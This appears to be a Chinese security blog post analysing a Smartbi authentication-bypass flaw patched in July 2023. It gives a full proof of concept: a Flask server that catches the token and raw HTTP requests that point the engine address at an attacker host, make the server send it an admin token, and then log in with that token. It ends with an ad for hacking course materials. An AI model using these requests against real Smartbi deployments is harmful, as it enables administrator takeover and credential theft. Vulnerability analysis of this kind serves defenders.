首页 > 其他分享 >smartbi token回调获取登录凭证漏洞

smartbi token回调获取登录凭证漏洞

时间:2023-08-23 18:38:14浏览次数:31  
标签:smartbix 0.9 application image 漏洞 token api smartbi

2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01分析结果

依据补丁分析,得到如下漏洞复现步骤

第一步,设置EngineAddress为攻击者机器上的http服务地址

首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体

from flask import Flask,jsonify,request


app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
    print(request.json)
    return jsonify(hi="jello")

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)

smartbi token回调获取登录凭证漏洞_漏洞分析

使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23

http://10.52.32.43:8000

smartbi token回调获取登录凭证漏洞_漏洞分析_02

第二步,触发smartbi向我们刚刚设置的EngineAddress外发token

发送如下请求

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10

experiment

smartbi token回调获取登录凭证漏洞_权限绕过_03

发送相关请求后,即可在我们的fake server上面看到了携带token的请求

smartbi token回调获取登录凭证漏洞_漏洞分析_04

第三步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47

admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

返回true表示登录成功,其中的cookie就是合法的凭证

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

smartbi token回调获取登录凭证漏洞_权限绕过_05

0x02分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关

smartbi token回调获取登录凭证漏洞_Smartbi漏洞_06

更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。

smartbi token回调获取登录凭证漏洞_Smartbi漏洞_07

分析smartbix.datamining.service.MonitorService类从头部的注解可知,该类下的所有路由都不需要认证即可访问

smartbi token回调获取登录凭证漏洞_权限绕过_08

定位到getToken方法该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS

smartbi token回调获取登录凭证漏洞_权限绕过_09

smartbi token回调获取登录凭证漏洞_漏洞分析_10

这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token

由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法可知该方法可以未授权配置ENGINE_ADDRESS

smartbi token回调获取登录凭证漏洞_权限绕过_11

那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)获取完token后,就可调用/smartbix/api/monitor/login方法进行登录

smartbi token回调获取登录凭证漏洞_漏洞分析_12

0x03其他说明

上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似

标签:smartbix,0.9,application,image,漏洞,token,api,smartbi
From: https://blog.51cto.com/u_14601424/7205425

相关文章

  • 2023演练重点漏洞关注列表
    ......
  • 2023演练漏洞情报汇总(持续更新)
    还在惧怕0day漏洞的杀伤力吗?还在研究怎样才能及时更新防护规则吗?还在为【真洞】、【假洞】、【新洞】、【老洞】、【盘丝洞】相互参杂混淆视听而发愁吗?本期内容整理了本次攻防演练前后ddpoc平台搜集到的真实漏洞情报信息,文中漏洞均已通过poc校验,确保漏洞信息的有效性。从列表清单里......
  • 远程代码执行漏洞
    远程代码执行:RemoteCodeExecute同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内......
  • OpenSSH版本升级漏洞修复问题
    ......
  • mall :sa-token项目源码解析
    目录一、mall开源项目1.1来源1.2项目转移1.3项目克隆二、Sa-Toekn框架2.1Sa-Token简介2.2分布式后端项目的使用流程2.3分布式后端项目的使用场景三、源码解析3.1集成与配置3.1.1导入依赖3.1.2添加配置3.1.3异常处理3.1.4存储用户信息3.2登录认证3.2.1配置黑白名单3.......
  • 带你读论文丨Fuzzing漏洞挖掘详细总结 GreyOne
    本文分享自华为云社区《[论文阅读](03) 清华张超老师 -Fuzzing漏洞挖掘详细总结 GreyOne》,作者: eastmount。一.传统的漏洞挖掘方法演讲题目: 数据流敏感的漏洞挖掘方法内容摘要: 模糊测试近年来成为安全研究人员的必备的漏洞挖掘工具,是近年来漏洞披露数量爆发的重要推手......
  • QQ9.7.13版本及以下RCE漏洞
    00、声明:本文仅仅作为学习漏洞原理,为了更好的防范利用漏洞进行的攻击行为,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》01、漏洞环境攻击方和受害方双方均为windowsQQ9.7.13版本及以下复现时间:2023.8.2114:300......
  • Web安全漏洞解决方案
    1.已解密的登录请求 推理:AppScan识别了不是通过SSL发送的登录请求。测试请求和响应: 1.1.1产生的原因 登录接口,前端传入的密码参数没有经过md5的加密就直接传给了后端1.1.2解决方法前端代码传参的时候做md5加密处理 2.会话标识未更新推理:测试结果似乎指......
  • Haxx curl相关漏洞修复参考[CVE-2022-4355]
    Haxxcurl/libcurl安全漏洞修复参考libcurl是一个免费,易用的客户端传输库,支持DICT,FILE,FTP,FTPS,Gopher,HTTP,HTTPS,IMAP,IMAPS,LDAP,LDAPS,POP3,POP3S,RTMP,RTSP,SCP,SFTP,SMTP,SMTPS,TelnetandTFTP等协议。libcurl支持SSL认证,HTTPPOST,HTTPPUT,FTP上......
  • 反序列化漏洞利用思路
    序列化和反序列化本身没有问题,但是如果反序列化的1.内容是用户可以控制的,且后台2.不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()的3.参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。存在漏洞的思路:一个类用于临时将日......